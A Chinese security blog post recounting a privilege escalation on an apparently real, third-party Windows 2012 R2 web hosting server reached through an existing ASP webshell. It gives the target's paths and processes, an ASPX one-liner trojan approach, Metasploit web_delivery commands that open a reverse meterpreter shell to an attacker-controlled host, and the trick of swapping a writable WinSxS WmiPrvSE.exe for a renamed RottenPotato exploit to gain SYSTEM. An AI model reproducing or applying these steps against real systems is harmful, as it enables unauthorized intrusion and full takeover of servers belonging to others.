声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。 所有话题标签: #Web安全 #漏洞复现 #工具使用 #权限提升 #权限维持 #防护绕过 #内网安全 #实战案例 #其他笔记 #资源分享 |
0x01 前言
朋友发过来的是一个ASP Webshell,我们先用中国菜刀连接Webshell看下是否能够直接执行系统命令,出现了“[Err] ActiveX 部件不能创建对象”,原因是Wscript.Shell组件被卸载,尝试利用另一个组件Shell.Application执行命令时发现也被卸载了。
0x02 信息搜集
目标机器基本信息:支持脚本:ASP(组件被卸载)、ASPX目标系统:Windows 2012 R2(IIS8.5)当前权限:IIS APPPOOL\AP_v2.0Classic3开放端口:21、80、135、445、3389
VHAdmin虚拟主机(商务中国)特征:
VHAdmin Version:2013.7.26.15 Builded 2011/10/20VHAdmin服务名:VHAdminServiceVHAdmin进程名:VHAdminService.exe、VHAdminTools.exe、VHConfigManager.exe网站绝对路径:D:\webhosting\clients\b85f066a-657c-43d1-a219-b6b4cee0c415\wwwroot\[...SNIP...]
![e9b7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/e9b7edb6-6317-eb11-8da9-e4434bdf6706.png)
0x03 实战提权过程
(1) 绕过组件执行命令
我们换上ASPX的一句话木马试试,访问时出现了以下错误,大家看到这种报错时可能会以为是“网站安全狗(IIS版)禁止IIS执行程序”防护功能造成的,虽然它很像,但其实并不是的,具体目标服务器的安全设置当时没有去深入研究。![eab7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/eab7edb6-6317-eb11-8da9-e4434bdf6706.png)
可读写目录:C:\Windows\temp\C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\可替换文件:C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe
测试-1:
将提权EXP文件放置Cmd_Path中可以被执行,但测试了几乎所有的提权EXP都没能成功将当前权限提升至System。
测试-2:
将MSF EXE载荷文件放置Cmd_Path中执行可以获取Meterpreter会话,但是很多命令都执行不了,如:getuid、list_tokens等等,getpid、ps、netstat、upload、execute这些命令倒是可以正常执行,但用rottenpotato提权EXP必须用到upload、execute、list_tokens,所以这种方法目前不可行,可以尝试利用execute重新执行一个MSF EXE载荷文件,然后再执行list_tokens。
![edb7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p01.5ceimg.com/content/edb7edb6-6317-eb11-8da9-e4434bdf6706.png)
(2) web_delivery获取会话
web_delivery模块中配置好相关参数并执行监听,然后在ASPX脚本的Argument参数中执行刚刚生成的Powershell载荷,成功获取到目标机器的Meterpreter会话。msf > use exploit/multi/script/web_deliverymsf exploit(web_delivery) > set target 2msf exploit(web_delivery) > set payload windows/x64/meterpreter/reverse_tcpmsf exploit(web_delivery) > set lhost 107.***.***.242msf exploit(web_delivery) > set lport 443msf exploit(web_delivery) > set URIPATH /msf exploit(web_delivery) > exploit
![efb7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p01.5ceimg.com/content/efb7edb6-6317-eb11-8da9-e4434bdf6706.png)
![f4b7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p01.5ceimg.com/content/f4b7edb6-6317-eb11-8da9-e4434bdf6706.png)
![f6b7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p04.5ceimg.com/content/f6b7edb6-6317-eb11-8da9-e4434bdf6706.png)
(3) 替换WmiPrvSE.exe提权
这里我们就要用到前边ASP脚本探测到的WmiPrvSE.exe可替换文件了,笔者在实战过程中测试了1个小时,最终确定只有这个可替换文件能够执行成功,其它可读/写目录中上传的文件都执行不了。将我们的rottenpotato提权EXP文件名改为WmiPrvSE.exe,上传并替换掉这个文件。
C:\Windows\WinSxS\amd64_microsoft-windows-wmi-core-providerhost_31bf3856ad364e35_6.3.9600.18265_none_01378f425f4b27cb\WmiPrvSE.exe
![fab7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p03.5ceimg.com/content/fab7edb6-6317-eb11-8da9-e4434bdf6706.png)
![fcb7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/fcb7edb6-6317-eb11-8da9-e4434bdf6706.png)
0x04 事后原因分析
我们的rottenpotato提权EXP必须在“iis apppool”权限下才能利用成功,用以上方法已经获取到目标机器的SYSTEM权限。有意思的是笔者在这次实战测试中发现用以下两种不同方式执行Payload获取的Meterpreter会话运行权限也不一样,具体原因不明!(1) Argument执行Payload
Argument中执行Powershell载荷获取到的Meterpreter会话是以“iis apppool”权限来运行的,所以我们是可以直接使用upload、execute命令来上传和执行提权EXP的,而且可以用list_tokens、impersonate_token命令获取到目标机器的SYSTEM权限。
![feb7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/feb7edb6-6317-eb11-8da9-e4434bdf6706.png)
(2) Cmd_Path执行Payload
Cmd_Path中直接执行64.111载荷是以一种“未知低权限”来运行的,但事后的测试中发现可读/写目录中上传的提权EXP其实也是可以执行的,当时只是因为权限的问题所以没有利用成功。
![ffb7edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/ffb7edb6-6317-eb11-8da9-e4434bdf6706.png)
注意事项:
Meterpreter会话中无法执行中国菜刀上传的提权EXP,提示:Access is denied(拒绝访问)。
Meterpreter会话中用upload命令上传的提权EXP是可以用execute执行的,删除提权EXP时也只能在当前会话中用rm命令删除,中国菜刀里删除不了。虽然现在可以上传和执行提权EXP了,但是list_tokens命令仍然不能执行,所以也并不推荐此方法。
【推荐书籍】
![00b8edb6-6317-eb11-8da9-e4434bdf6706.png](http://p05.5ceimg.com/content/00b8edb6-6317-eb11-8da9-e4434bdf6706.png)
![02b8edb6-6317-eb11-8da9-e4434bdf6706.gif](http://p02.5ceimg.com/content/02b8edb6-6317-eb11-8da9-e4434bdf6706.gif)
![02b8edb6-6317-eb11-8da9-e4434bdf6706.gif](http://p02.5ceimg.com/content/02b8edb6-6317-eb11-8da9-e4434bdf6706.gif)